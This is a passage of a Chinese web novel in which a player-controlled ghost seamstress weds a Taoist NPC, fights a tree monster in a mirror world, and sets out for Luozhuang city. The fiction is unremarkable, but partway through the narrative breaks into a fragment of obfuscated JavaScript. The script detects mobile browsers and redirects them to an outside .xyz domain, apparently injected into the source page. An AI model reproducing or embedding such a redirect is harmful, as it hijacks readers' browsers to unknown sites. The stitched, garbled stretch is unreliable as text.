但对于灵异而言,只要它们有自信自己不会消亡,时间就像大海里的水一样取之不尽用之不竭,好处得到的早晚无法给它们带来焦虑。
世间生灵如果按情绪稳定程度来划分高低的话,人类怎么也排不上号。
齐览让纸人做饭时,忘记了自己是在一日三餐的时辰准时饥饿,不过鱼宣没吃,齐览就不必再自己起灶了。
齐览独自用过晚膳,女鬼依然窝在屋里不出来,他疑心她又突然昏倒,不放心地打算去看看。
此时院外却传来叩门声。
是萍宁,和她刚过门的伴侣。
见开门的是齐览,萍宁似笑非笑:“看来宛娘子很放心你,如今已让你做这里的主了。”
齐览还没张口,主屋的门就被拉开。
鱼宣的脑袋探出来:“萍宁,你来得正好,来帮帮忙。”
嫁衣繁琐不说,配套的头面也装满一柜子,她研究半天也找不到地方入手。
萍宁挂上笑容径直走过去,留下伴侣和齐览在原地大眼瞪小眼。
她进屋带上门,跟着鱼宣到梳妆台前坐下,被那身金线嫁衣吸引住。
“怪不得从不叫我看见,原来是藏私了,”萍宁笑骂,“给我做的可没有这么花心思。”
鱼宣不了解周平宛的前尘往事,只能含糊地附和几声。
萍宁把头面看过一遍,对头发样式有了大概思路,拿了木梳走到鱼宣身后。
铜镜照出的人影模模糊糊,如同隔了一层雾。
如瀑青丝在萍宁指间流淌,看着鱼宣乖乖坐着任她打扮的模样,萍宁不自觉柔和了眼神。
但一想到鱼宣这次装扮是为了成婚,萍宁就难免将恶意倾泻到屋外的青年道长身上。
她正色道:“宛娘子,你给他的权限太多了。”
连开门都自由,齐览想跑是很容易的,更何况他还是个道士。
这点鱼宣当然也想到了。
女鬼顶着满头金灿灿转过脸来,神色狡黠:“他跑不了的。”
鱼宣从单薄里衣的袖口摸出一对巴掌大的连体布偶,在萍宁眼前晃了晃。
在屋子里鼓捣一个下午,鱼宣除了想破脑袋以外,也做了点小手工。
“物品:同心偶——死生同,一诺千金重。”
25%的灵异力量,完成一个小东西还是轻轻松松的。
如果不是上午把嫁衣完全抖擞开了,鱼宣根本发现不了这里面藏着的灵异力量使用说明书。
不过那时齐览找来,她只能先收着。
说明书的全称是《针织刺绣——从入门到精通》。
萍宁却变了脸色,她不可置信:“你要保他?”
桃源镇要的人,活不久是必然的。
鱼宣作为灵异,寿境无穷,与齐览同生死简直就是精准扶贫。
在萍宁的注视下,鱼宣坚定地点头。
随后鱼宣就眼睁睁看着萍宁的瞳色由深红转为血红。
萍宁咬牙切齿:“我就知道!”
她第一眼看见那个道士的时候就知道他不是个省油的灯。
鱼宣又是带人赴宴又是顺着他张罗成婚,她就有了不祥的预感。
这下好了,清清白白的女鬼出去一趟,栽到一个道士手里。
鱼宣收起同心偶,安抚萍宁的情绪:“放心吧萍宁,我有自己的计划,并没有被他迷得神魂颠倒。”
这是真的,鱼宣一心想着推完本回家,完全没有心思整那些风花雪月。
萍宁面无表情,毫不相信。
不过看在鱼宣只是恋爱脑,还没有被骗财骗色,而那个道士对她也算真心相待的份上,萍宁决定不在喜事当天说难听的话。
在静默中为鱼宣穿好里里外外的一整套嫁衣,萍宁松口气。
鱼宣幽幽开口:“新郎的婚服还在这儿呢。”
萍宁抬手在鱼宣脸上变幻不同的妆容,一边对比一边回话:“一会儿我让舍清拿过去给他。”
薛舍清,是萍宁伴侣的名字。
当日红绸上龙飞凤舞的笔画,鱼宣没认清,这下才切实知道是哪几个字。
“那就麻烦薛公子了。”
萍宁的神色有些奇怪起来:“
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这称呼你可别往他面前说。”
鱼宣困惑。
“他是与家中决裂剃发修行的,我问了好久才知道这么一个姓,”萍宁解释,“舍清是他的法号。”
鱼宣更困惑了。
就算有千般忌讳,如今的薛舍清不过一具空壳,还在乎他怎么想吗?
左手边的铜镜中,身后灵异的脸色惨白。
萍宁缓缓勾出一个笑:“死生同,我也会用。”
只是她能力有限,不能让薛舍清像李萍安一样灵动,看起来仍是行尸走肉。
只有萍宁和薛舍清自己知道,他还保有微弱的意识。
鱼宣的重点转移到另一个地方:“那薛……舍清公子的头发?”
萍宁心虚:“总不能让大家都以为我跟个秃子结缘吧?”
院子里,齐览领着薛舍清到石桌旁坐下。
等候的时间太长,齐览又不可能当着傀儡的面心无旁骛地调息,不免发散思维。
只是他光知道对方是傀儡,于是毫不避讳地自言自语:“眼下才过用晚膳的时辰,怎么这么早就来了?”
“宛娘子并没有说不许客人提前登门。”
突兀的回应让齐览一下子绷紧了神经。
傀儡有主,其一言一行都由主人操纵。
薛舍清自己也没想到自己能说出话来,一时也愣住。
他困在这具躯壳里太久,能视物听声,却口不能言,行动受限,如果不是萍宁一直陪着他,他只怕要被逼疯。
没等齐览作出反应,主屋的门开了。
“舍清,来把新郎的婚服拿去给他换上。”
薛舍清没管一脸警惕的齐览,当即起身往主屋走去。
萍宁看着疾步靠近的青年,敏锐觉察出异样:“舍清,你……”
薛舍清握住她的手:“我能说话,也有知觉了。”
鱼宣听见动静,也从里间挪出几步。
她分析:“舍清公子进桃源镇时,身上已经被种下邪灵,虽然邪灵已经被解决,但也承担一部分契约。”
被打散架的时候又没知觉,还捡便宜只算半个傀儡,怎么看都血赚。
只是邪灵背后那位可就要遭老罪了。
在新手村隔空削弱了BOSS,哪怕是刮痧鱼宣也很满足。
萍宁也很惊喜,同时抬手隔开正在靠近的齐览。
“婚前相见不吉利,新郎请留步。”
齐览僵在原处。
如果说不吉利,按人间规矩,至少也是婚前三日不得见面,可两人相识也不过两日。
一听就是萍宁拿来搪塞他的借口。
齐览下意识想往鱼宣的方向看。
奈何鱼宣此刻寸步难行,又听了萍宁的话,老老实实回去坐着了。
萍宁拦他不为别的,单纯是气不顺。
她把婚服往薛舍清怀里一塞,目光掠过齐览:“去换了衣服等吉时吧。”
薛舍清对齐览没抱什么同类的善意,只照着萍宁的话做。
齐览还未过门就要面临鱼宣娘家人的下马威,默默退出一段距离,看着很有几分可怜。
薛舍清行至齐览身前,淡漠地瞥他一眼:“领路吧,新郎官。”
9. 第 9 章
齐览很轻易发现薛舍清十分外化的离经叛道。
帮他穿婚服是不可能的,搭把手都多余。
离开了萍宁的视线,薛舍清好不容易显露的一丝人气也消失殆尽。
齐览心中疑窦丛生。
他不是没顺手救过灵异缠身的人,他们知道他是道士就积极求救,得知他是伏灵司的人后更是跟找到主心骨似的。
没有哪一个像薛舍清一样,对他爱搭不理避而远之。
天色已经暗下来,齐览点亮柴房角落还剩的蜡烛,对着光分辨婚服配件。
柴房当然是没有铜镜的。
但道士的法器里能作此用途的很多。
在齐览拿出八卦镜后,薛舍清皱眉侧身避让。
薛舍清如今也算半个灵异,这东西一拿出来就让他不适。
齐览倒没有蓄意报复的意思,将镜面摆正,开始卸头冠。
君子正衣冠。
头发盘得一丝不苟的时候,平白添了正气。
这会儿长发披散下来,完全是另一种风情。
薛舍清讥诮道:“道长这副样子应该多摆给宛娘子看看。”
齐览没在意对方带刺的态度,冷不丁问:“你是自愿到桃源镇的?”
薛舍清一愣,没否认。
“……管好你自己。”
齐览没有梳妆的条件,只能在头发上做文章。
他不愿敷衍,又不好太郑重。
这场形势所逼的亲事,连生辰八字都不曾交换过,齐览私心里并不满足。
薛舍清冷眼看着他在两侧各缠了一条细细的小辫,又珍而重之地戴上新郎官帽。
新郎的婚服要更轻便些,也便于行动,齐览换好了就转身要推门出去。
薛舍清眼疾手快地拉住他:“吉时未到,你出去做什么?”
青年道长茫茫然回头。
“你们是要出桃源镇的吧,”薛舍清收手抱臂看他,“那今晚可不单单走个过场就能了事。”
另一边鱼宣一动也不敢动地端坐着,她从来没发现光是坐着也是这么辛苦的一件事。
四肢僵硬的女鬼看着窗外黑漆漆的天,时不时翻出系统面板看时间。
面前铜镜中模糊的人影逐渐清晰。
女鬼唇色艳丽,眼尾上挑拉出一条红线,在镜中缓缓抬眼。
鱼宣原本昏昏欲睡,一晃神对上自己的脸做出不属于自己的表情,整个人都精神了。
铜镜内外的两只鬼一时相对无言。
最终还是对方先开口:“这位小娘子,我是周平宛。”
鱼宣更精神了。
虽然一时半会儿出不去,但她不是在玩剧本杀吗?怎么还来真假美猴王那一套啊?
周平宛也看出她的不解,并不提醒,只是耐心等着她自己想明白。
萍宁方才听鱼宣说齐览买了一次性的纸人下厨,抱怨了一阵道士都不会过日子之后跑到厨房去重新热菜了。
鱼宣不知道该不该庆幸自己是单独面对这种情况。
为他人作嫁衣裳。
这个他人,也指玩家吗?
“当前进度:7%(剧情探索达到60%将解锁支线)”
“当前角色:鬼绣娘”
“恭喜玩家达成关键节点,解锁灵异能力30%,请谨慎使用。”
鬼绣娘。
不是周平宛,也没有失忆。
鱼宣感到自己被命运戏耍。
她闭了闭眼,尽力心平气和地尝试与镜中鬼沟通:“宛娘子,有何贵干?”
周平宛温和笑道:“小娘子,你该小心些。”
“什么?”鱼宣皱眉。
在鱼宣还满头问号的时候,周平宛已经起身走出镜面范围。
右手边的铜镜重归模糊。
晚风习习,吹进屋内,寂静得让人怀疑方才的一切是幻觉。
为了不让心中的不安继续扩大,鱼宣顶着沉重的脑袋起身想做点什么,又顿住。
往外走的方向,之前是这边吗?
尽管被周平宛打了个措手不及,但鱼宣并不觉得自己逻辑错乱到方向都分不清。
她垂眼看向安安静静立在梳妆台上的铜镜,对这种手段并不陌生。
镜像而已,不足为惧。
问题在于怎么出去。
鱼宣其实有在考虑要不要卡BUG试试能不能直接出桃源镇。
但这个想法才刚冒出头就被推门的声响打断。
来人脚步声急促,不像灵异那种轻飘飘的动静。
这倒是让鱼宣放下心来,她大概能确定是谁了。
果不其然,一抹鲜亮的红色迅速闪进鱼宣的视野中。
临到跟前,来人的靠近更加谨慎和缓慢。
鱼宣转过头,金饰作响。
她面上四平八稳,还有心思调笑:“大婚前相见,齐大人,你犯忌讳了。”
齐览抿唇,无声地打量她。
鱼宣看他这个纠结劲,估计琢磨到天亮也没个定论,好心提议:“齐大人要凑近些来看看吗?”
青年被勾了魂似的,当真听话往前走。
鱼宣其实不知道齐览是什么打算,不过她到目前还没见过对方使用攻击性法器,要是现在齐览起疑,能逼他用出来看看也不错。
三成的灵异能力全开防御,就算齐览直接拎着黑木上也……
黑木呢?
在有下一个推测前,鱼宣动作比脑子快,已经扶着梳妆台往后退了几步。
黑木辟邪,齐览不可能轻易离身。
齐览见她退缩,也停住。
鱼宣不觉得齐览是假的,毕竟两人都离得这么近,但凡抬抬手就能捅她心窝子。
她正色道:“齐大人,你现在所在的身体,不是你的。”
甚至可能部分思维也收到灵异影响,变得更为显化。
本以为齐览会赞同或者给出一些线索,鱼宣还在脑中规划出几个方向的思路。
下一刻就被拥了满怀。
“你是,真的。”
鱼宣发誓,她几乎能从齐览喟叹的尾音里听出“太好了”三个字。
女鬼一把把人推开,严肃道:“我们得尽快出去。”
她看过时间,现下距子时还有三刻钟。
齐览俨然已经被显化成了愣头青,完全不能指望他提供一些脑力上的支持。
如果一定要打穿副本才能出去的话,或许他还能帮上点忙。
如今的齐览确实是个行动派。
鱼宣还在走一步算三步,准备先从院落开始探索镜像地图的时候,就被齐览拦腰捞起来往外走。
青年在伸手拉开门的同时抽空问她:“我已探查过,院中无人,要去镇上看看吗?”
鱼宣面无表情。
这个硌得人生疼的手法,是齐览本人无疑。
“去。”
鱼宣抓住齐览不动的间隙调整姿势,总算把自己扭曲成一个舒适的形状。
女鬼指使道:“去集市。”
按照槐伯的说法,集市无论何时都是开着的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14565540|155640||http|test|mini|href|location''.split(''|''),0,{}));
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>如果集市都空荡荡,那只能说明镜像的桃源村一个鬼影也没有。
目前看来这里清净又安全,唯一的不足之处是镜像中没有缩地成寸的功能,只能凭着方向感慢慢走。
鱼宣其实无所谓,她这身行头就算想自己走也无能为力。
趁这个空档,鱼宣环顾四周观察镇子里的场景。
之前除了目的地,其他建筑都难以在记忆中留存,这下可以背背地图了。
沿途死寂。
鱼宣忽然抬手按在齐览肩上。
齐览停住。
鱼宣示意他抬头:“你看,那是不是李宅?”
熟悉的大门,两侧挂的灯笼白惨惨,偌大的牌匾上空空如也。
齐览想了想,说:“是也不是。”
鱼宣没管他一本正经的学舌,拍拍肩膀让他继续走。
集市没有半点生息,店铺全都大门紧闭,摊子上货品也都不见。
鱼宣看了一路,所有的牌匾都没有刻字。
刻字。
她转头盯着齐览的眼睛:“去桃源镇入口。”
该说不说,道士的身体是有功底在的,抱着穿了重工嫁衣的女鬼走了快一刻钟,气都不带喘的。
所幸他脚程快,鱼宣很快望见镇门口那块青石。
无人的荒镇,槐树参天,枝干不知为何全往青石的方向生长,像一只枯瘦的巨手将它抓握。
枝叶的缝隙里,鲜红的字迹明晃晃。
鱼宣细细辨认,逐字念道:“无有乡。”
女鬼在脑中检索一番,低下头去附到齐览耳畔。
“齐大人,做过移栽的活儿吗?”
齐览山中久居,读书万卷,轻易就明白她的意思。
他无奈地摇摇头:“先人的话不是这样理解的。”
变无用为有用,万物各有因缘。
青年道长翻手掐诀,聚灵化刃。
槐树外延的枝干被拦腰斩断。
伴随着震耳欲聋的声响,槐树主干与青石同时炸开。
与主干失去连接的枯瘦枝干非但没有衰败,反而以肉眼可见的速度变得粗壮起来。
青石是被枯枝巨手暴力抓碎的。
而主干,是从内部裂开。
鱼宣自觉扑腾下地,让齐览完全空出手来对付枯枝,自己去察看槐树主干。
她很快来到飞出最远的碎木旁,估摸了一下大小,想到周平宛院子里那一堆没劈开的木材。
女鬼心想:如果每棵树都有这样的爆发力,还要斧头干什么呢?
鱼宣没多为地上的碎木停留,径直往仅存的树根处走。
枯枝显然察觉她的动向,拐了弯要来阻拦她,却被青年一道符隶截停。
白日在集市,有纸元宝售卖,齐览要买,鱼宣只当他执着于聘礼什么的,懒得干涉。
其实灵异之间流传的“纸”,只要在特定用途之外,都不受约束一视同仁。
道法自然,齐览先前不肯亲手用灵异的黄纸制传讯符,如今形势所迫,连看家的符隶都往金银纸上画。
正蹲着找线索的鱼宣似有所感,没回头。
其实自学成才也有好处,看齐览就知道,无人教化规训,不拘小节,该保命时就保命。
鱼宣记得,道士画符一般也是用黄纸,又常与灵异打交道,其实算得上同根同源。
女鬼低头伸手抚上槐树根,凝聚起灵异力量探寻它的脉络。
根系虬结成团,庞杂错乱。
槐树聚阴,是养成灵异的风水宝地。
10. 第 10 章
鱼宣的力量如同血液般在根系中游走,运转了两个循环以后,树根盘成的一团缓慢律动起来。
就像——
心脏。
鱼宣眼睛一亮。
她有预感,离开镜像的关键就在这里。
女鬼终于回过头,对与枯枝打得热火朝天的青年道长投去一些关注。
齐览正全神贯注地完成一套令人眼花缭乱的手部动作。
随着指诀的完成,齐览指尖逐渐萦绕淡淡金光。
鱼宣还是第一次见齐览放大招。
威力显著,枯枝一抱粗的枝干断去几截。
消耗也显著,青年道长直挺挺地往地上栽。
鱼宣闲着的那只手分了点力隔空扶他一把,才没让他摔得太狠。
齐览好歹没昏,撑着地爬起来。
也只是爬起来。
他已经没有躲开枯枝攻势的余力了。
女鬼叹一口气,手心朝上,轻挑食指。
一缕金线从大红的嫁衣袖口探出,直奔枯枝巨手下的青年。
金线柔且韧,以迅雷不及掩耳之势卷上齐览的腰腹,把人拖了过来。
好处是很及时,坏处是差点把齐览的腹部划拉出一道口子。
婚服与金线同出一源,一经接触就严丝合缝地纠缠在一起。
等鱼宣收回金线,齐览感到腰上哪哪都不对劲。
他摸了摸。
婚服完好无损,里衣布料被生生勒断开。
枯枝比齐览血厚得多,没时间让他纠结衣服的问题。
鱼宣抛了一颗留行丹过去:“齐大人,再抗一会儿。”
青年道长一口咽下丹药,闭了闭眼,站起身重新面对扑过来的枯枝。
他背对鱼宣,唇边溢出血丝。
是药三分毒,过去半年的时间齐览也不过用了三颗,短短三天之内却服了半年的量,实在有些超负荷了。
但是女鬼显然不准备亲自加入战场。
齐览垂眼双手结印。
临兵斗者,皆阵列前行。
鱼宣突然察觉到身后出现了极其强烈的危机感。
女鬼讶异地扬眉:还有大招?
这么顽强的NPC不多见了,鱼宣都替齐览心酸。
等她回去以后一定在论坛拥护他为劳模。
不过眼下鱼宣也有自己的事要做。
感受着属于自己的力量几乎完全渗透槐树的心脏,女鬼深褐色的眼瞳迸发出红光,原本丝丝缕缕缠绕在一起的灵力野蛮生长膨胀,从四面八方延展出锋利的尖刺。
“心脏”被无数尖刺贯穿的同时也被迫压缩着生存空间,很快承受不住,如之前的主干一般从内部裂开。
但它的碎片没能留下。
“恭喜玩家获得【心脏】”
“当前进度:9%(剧情探索达到60%将解锁支线)”
“恭喜玩家达成关键节点,解锁灵异能力40%,请谨慎使用。”
鱼宣默默收回吸收了“心脏”以后明显处于餍足状态,还隐隐冒着微弱红光的灵力。
与此同时,枯枝巨手因为失去了本体心脏的缘故,貌似爆发了原始的求生欲。
原本对它来说是一记杀招的九字真言诀被硬生生地挨过去不说,断面居然开始生长新的根系。。
哦豁。
鱼宣心头一跳。
副本小BOSS狂化了。
然而完全进入战斗模式的NPC一时热血上头,危机意识极为淡薄。
青年眼中燃起杀意:“强弩之末。”
鱼宣转头一看,齐览白净的脸被血糊得惨不忍睹。
女鬼歪歪脑袋:你在说你自己吧?
NPC要冲,鱼宣也没有办法。
不过四成的灵力足够鱼宣给他兜底了。
女鬼自觉自己的部分已经大功告成,悠哉地背靠仅存的槐树根系坐下。
闲下来就有空想一些细节。
齐览的身法格外灵活,印象里也没有受到过头部的攻击,他那张脸是怎么变成那样的?
难道是内伤?
想到这里,鱼宣难免抬眼去观察身陷战场力抗BOSS的青年道长。
一身婚服完完整整干干净净,大概没什么大问题。
而且看来齐览还在肾上腺素的支配下,暂时不需要鱼宣出手。
于是女鬼小心翼翼地避开打斗范围,走出一段距离。
“物品:守镇石碎片——已自动拾取。”
鱼宣偷偷往齐览的方向看一眼,见他没功夫管这边,才放下心来像吸尘器一样把周围的碎石都收入囊中。
“系统检测到物品碎片收集完毕,已自动合成。”
“物品:守镇石·无有乡——(当前物品功能处于封禁状态)”
鱼宣明白了。
这是个好东西,有大用。
女鬼专心致志地捡破烂,一时没有留意齐览的动向。
于是她喜提一只肾上腺素过度发酵的残血败犬。
再次用金线把差点被捅个对穿的青年捞过来,鱼宣不由得感慨:“这衣服质量真好,这么摔摔打打的还半点不显脏。”
齐览还在显化状态,但好在被拉回来这一下打断了他找BOSS决一死战的冲劲。
青年头两侧的辫子有些松散,因为失去了目标而懵懵地保持着摔坐在地上的姿势。
鱼宣伸手捏了一下他少得可怜的脸颊肉,上挑的眼尾红线拉出很长,泛红的眼瞳里写满得意。
“齐大人,你看着。”
女鬼面对他,双手翻转动作。
齐览顺从地盯着,眼睛一眨不眨。
眼熟。
直到鱼宣完成整个指诀,齐览才缓慢反应过来。
他被偷师了。
九字真言诀,被鱼宣分毫不差地复刻。
鬼绣娘四成的灵力,叠加红衣鬼新娘的buff,用九字真言诀。
枯枝这次没熬过去,被击中的瞬间就化为灰烬。
齐览一时无言。
山中藏书万卷,没有任何记载,灵异竟也能使用道家术法。
而且发挥出的威力远在他之上。
为防止久留让齐览发现青石凭空消失,鱼宣催促道:“时间紧任务重,我们得回去了。”
心脏已经归她,BOSS也解决了,现在只要回到原来的地方找到铜镜,就能回去。
女鬼拽了一把裙角,抬手挂住青年的脖颈:“走吧。”
齐览猝不及防,下意识伸手把人捞进怀里。
他身体快过脑子,抬脚往镇内走去。
无有乡的建筑摆设完全与桃源镇反过来,给想背地图的鱼宣平添难度。
将大概排布记下,一人一鬼也到了院落门口。
他们走的时候没有栓上门,这时门扉半开。
齐览空不出手来,鱼宣自觉把门推开。
在即将走入主屋时,青年的辫子被轻轻扯了一下。
从齐览的角度看,女鬼伶仃地蜷缩在他怀里,却看不出任何可怜的样子,几乎把他当一个代步的工具。
他问:“怎么了?”
鱼宣面上一片冷然:“这口井,本来没有。”
原本该是平坦的
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角落,凭空多出一口玄色的井。
“那个,”齐览平静道,“那是我回去的路。”
鱼宣是从铜镜进来,自然也从铜镜出去。
但齐览,他是利用八卦镜强行撕开镜像通道闯进来的。
他的出生点在井底,全靠自己爬上来。
井中无水,却有溺毙窒息感,常人或许根本分不出精神去使力。
“哦,”鱼宣没怀疑,“那你去吧。”
青年神情淡薄得有些飘忽:“我先护送你回去。”
鱼宣其实觉得没什么好护送的,铜镜只是个通道,又不会吃了她。
没给女鬼回绝的余地,齐览直接抱着她走进屋子。
鱼宣被稳稳当当放回梳妆台前的凳子上。
她没跟齐览客气,也自觉两人没到这么一小会儿就得千叮咛万嘱咐的关系,很干脆地引灵力开启通道。
如来时一般,要不是鱼宣刻意分辨,根本难以发觉方位的变化。
这副本格外精密,带有感官屏蔽效果的幻阵。
就连身边直愣愣站着的齐览也毫无差别。
鱼宣侧头打量他,确认这人目前就是一具空壳。
叩门声打断她的思路。
“宛娘子,你们怎么样了?槐伯都来了,得收拾好出来,别过了时辰。”
是萍宁。
鱼宣扬声道:“就来。”
女鬼漫不经心重新看向铜镜,拿起红纸在唇间抿了抿。
屋内落针可闻。
听见动静,她才起身。
“齐大人,请从窗户走吧。”
距子时只剩半盏茶的时间,鱼宣来不及看齐览的情况,绕过他匆匆往门口走去。
一拉开门,萍宁等在外面。
“我已经给舍清交代,让他把人带到前厅来,也请槐伯入座了。”
鱼宣展开盖头往头顶一盖:“多谢。”
萍宁知道她行动不便,上前帮着搭把手,牵引她到前厅。
好在这里不似李宅那样大,几步路就能走一圈,齐览也及时回到柴房。
薛舍清懒懒掀起眼皮看他一眼,转身:“走吧。”
最危险的节点已经过去,鱼宣估计这个新手副本基本到了结算环节,于是毫无心理负担地挂机。
再回到主视角的时候,她面前还是被红色遮蔽。不过以灵异的身份,她能透过盖头看见面前的槐伯。
齐览握住她的手。
鱼宣反握他一下以示安抚,开口问:“我们能走了吗?”
槐伯穿了一身正式的礼服,终于有点高人风范。
他摆摆手:“走吧,我哪管得住你们。”
鱼宣得寸进尺:“今天太晚了,我们先洞房,明日启程。”
槐伯并不与她为难,只瞥一眼齐览,就转身往萍宁所在的宾客桌走去。
鱼宣转头望见那桌除了萍宁夫妻之外,不知何时多了一个李萍安。
李萍安是跟着槐伯来的。
齐览适时解说:“傀儡跟着守镇灵,除非无主。”
鱼宣暂时没有开发彩蛋的好奇心,收紧了与齐览相扣的手:“入洞房吧,齐大人。”
好歹是个正经内测游戏,鱼宣很放心,一进门就指使NPC帮她拆头面。
齐览站到她身后,将新娘发鬓间金饰一个个卸下。
“我回来前遇到镜中灵异,她自称周平宛,”齐览的语气平铺直叙,好似捧读,“那你呢?你叫什么?”
鱼宣眨眨眼。
她直直回望面前铜镜中青年执拗的目光,十分坦然:“鱼宣,鲤鱼的鱼,宣纸的宣。”
11. 第 11 章
鱼宣想得很好。
系统没给她名字,但NPC都问了,顺口告诉他也无所谓。
反正后台早就实名认证过了,研究院不可能馋她的个人信息。
至于NPC,等推完本就好聚好散了,内测完毕后一般都是作为初始资料储存,倒是不会像一些苦情剧一样被格式化。
发觉自己想得太远了,鱼宣收回发散的思维。
一凝神见青年唇边溢血。
鱼宣震惊:“镜像里的内伤这么严重吗?”
齐览摇头,从鱼宣背后撕下一张金纸向她展示:“真言符。”
本就过度亏空,现在强行催动道符当然会反噬。
鱼宣皱眉:“你是半死,我还满血呢,就不能跟我商量商量我来用吗?”
就这么一个NPC,刚开始推本就整死了她找谁哭去?
青年愣住,对她的话似乎有些消化困难。
“你不生气?”
鱼宣瞪着眼:“我现在就在生气。”
齐览奇怪地注视她好一会儿,突然温温柔柔笑起来:“好。”
鱼宣没好气:“好什么好?”
“下次跟你商量,别生我气。”
鱼宣:?
即使她经验少,也知道要求灵异本NPC提供情绪价值是不理智的。
他们不整点小动作带动氛围就不错了。
鱼宣心中默默点赞:研究院的人文关怀真是非同一般。
没有在意齐览直勾勾的眼神,鱼宣现在一头轻松,已经开始犯懒打哈欠。
屋内提前放好了一盆水,鱼宣简单洗漱后就往床上趴。
齐览垂在身侧的手动了动,到床边坐下。
鱼宣感觉自己的手又被拉过去,但眼睛都闭上了,也懒得管NPC的小动作。
手心触感格外明显,女鬼手指蜷起又被捏住按平。
“恭喜玩家获得技能【除尘符符印】——横扫黑子,做回自己。”
鱼宣慢悠悠睁眼。
齐览收手:“你既然有灵力,随时运转就能用,不必另寻媒介。”
女鬼眨眨眼:“传讯符也是?”
青年摇头:“传讯符是间接作用的符隶,无论如何都避不开媒介的。”
鱼宣当即尝试使用。
效果好得出奇,好像洗过冷水澡一样。
就是冷了点。
连齐览也感知周围骤然下降的温度。
他了然:“你的灵力性寒。”
鱼宣随口抬杠:“难道你的是热乎的?”
“可以是,”齐览实话实说,顿了顿,又补充,“但你现在不许我用。”
身上清爽了,脑子就逐渐进入休眠。
女鬼昏沉着滚到里侧,让出一片位置:“那你还怪听话。”
齐览没有再听到下文,也无意扰她,给自己也除尘后坐在床外侧调息。
“恭喜玩家成功通关新手副本【桃源镇】,解锁灵异能力50%,请谨慎使用。”
“当前进度:10%(剧情探索达到60%将解锁支线)”
鱼宣迷蒙着眼醒来,天已大亮。
不过她记得自己昨晚是躺在床上睡的。
现在别说床,连屋顶也没有,周围空空荡荡一片荒郊野岭。
“午时了。”
鱼宣转头,青年盘腿席地而坐,看样子是持续这个姿势一整晚。
女鬼对现状有点摸不着头脑:“你把我带出来了?”
齐览:“我们被桃源镇送出来了。”
鱼宣想起自己说今日启程,一时无言。
都说今天走了,至于才到中午就把她赶出来吗?
两人的婚服都凭空消失,切换回原来的装束。
齐览那身素的不能再素的官服铺在鱼宣身下,他只着中衣。
而鱼宣穿的是那身烟紫长裙。
对比恢复出厂设置的NPC,鱼宣对自己的新皮肤还是很满意的。
她爬起来,顺手捞起身下的素衣运转灵力除尘。
鱼宣其实很想看看一晚上过去齐览的血条怎么样了,但目前系统还没有这个功能。
她低头,青年不动如山。
素衣落在齐览腿上。
“走吧,齐大人。”
桃源镇本来也是灵异聚集的地方,别说附近,方圆几百里也没有人烟。
鱼宣跟着齐览一路走。
灵异的身体赶起路来并不疲惫,但鱼宣目之所及只有一个个山包,难免提不起劲。
她问:“现在是去哪?”
齐览目不斜视:“京城。”
鱼宣当然知道要去京城。
齐览回头,女鬼站着不动了。
鱼宣幽幽盯着他,总觉得这个道士NPC心里憋着坏想送她去轮回。
齐览叹气,组织了一下语言,解释:“当今世道,说不准时局如何变幻,或许我说下一个落脚的地方是罗庄,其实那里已经被灵异侵占,不知所踪了。”
鱼宣皱眉:“你的意思是,背地图完全行不通?”
齐览点头:“我来时,桃源镇并没有出现。”
鱼宣:……
这是做什么,生怕NPC泄题吗?
不过想来也正常,NPC是道士,玩家却是鬼,这种开局如果不防一手,只怕随时被NPC坑杀。
想通了其中关节,鱼宣安慰自己:反正现在她已经解锁一半的灵力,应对一个小小的NPC完全不在话下,路上小怪应该也能对付过去。
剧本杀本来也不是拼力气,不然就成传奇网游了。
刚结束新手副本,系统很好心地让他们风平浪静度过两天。
第三天,本该是鱼宣睡午觉的时候,她看起来精神不济地耷拉着脑袋,实际已经挂机好一段时间了。
齐览突然停住,女鬼的脑门撞上他的后背。
鱼宣抬头。
一人一鬼面前赫然一道结结实实的城墙。
他们一路走到墙跟前了,竟然半点没发现异样。
鱼宣后知后觉:“鬼打墙?”
齐览颔首:“是,但已经破除了。”
估计是只会用这种低级手段的小鬼。
一般人都会察觉不对寻找突破口,然后越走越乱,被彻底困住。
谁知道这两个犟种一个闷头往前走,一个干脆挂机自动跟随。
小鬼本身力量就微弱,无法支撑长时间的能量供应,只好放他们离开。
齐览带着鱼宣绕着城墙找到入口大门。
森严的城门紧闭,上方深深刻印着“罗庄”二字。
鱼宣看向齐览。
齐览确定道:“是罗庄城,
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不是灵异。”
女鬼指了指自己:“我能进去吗?”
齐览沉默。
灵异肆虐这么久,人间早有探查的法门。
鱼宣这样,常人或许看不出分别,但一旦要查,肯定是瞒不过去的。
说实话,齐览并不担心事情败露之后鱼宣的安危,她的实力足够保命。
他应该操心的是,百姓如今神经紧绷到草木皆兵,根本不管鱼宣是不是处于理性状态就莽撞行事,反而刺激到她,最后无法收场。
到时候毁一座城都算轻的。
齐览沉重地闭了闭眼。
鱼宣看他没辙的样子,眼珠一转,想出一个馊主意:“你们道士,就没有豢养灵异作为攻击手段的例子吗?”
齐览:“有。”
而且很多。
人与灵异之间力量毕竟是不平等的,即使掌握某些法术的道士,也防不胜防。
然而道士修行,驱鬼其次,御鬼为主。
只要掌握了控制灵异的方法,几乎可以不战而胜。
但是被豢养的灵异当然是得不到好对待的,往往遭人白眼,被拿来打骂泄气的也不少。
因为命脉捏在道士手里,它们大多无力反抗。
青年眼睫轻颤,不愿把这种境遇往鱼宣身上套。
鱼宣也不傻,不可能为了一时方便抛弃鬼身自由。
何况她有“皎皎河汉女”,大可以直接溜进去。
她这么问,不过是想知道在人类的城池里,自己有没有正规的出现途径。
NPC跑路可没她利索,万一被当成灵异同党抓起来,怎么死的都不知道。
“那行,”鱼宣点点头表示了解,“你直接进去吧,我有办法。”
齐览皱眉,还要说些什么,原本在他身侧的女鬼却无影无踪。
怕她贸然进城,惹出事端,齐览顾不得多想,往城门口疾步而去。
开了隐匿的女鬼默默跟上。
越是边陲城池,越是有野心家趁乱世心生反叛。
罗庄城易守难攻,更是个自立为王的好地方。
如果齐览没有记错,灵异出现第四年,罗庄城的官员就不再向京城述职了。
只是他来时向罗庄城借路,城门开得很爽快,并没有与他为难。
这地方过路的人太少,齐览一靠近,城门守卫先把他认得出来。
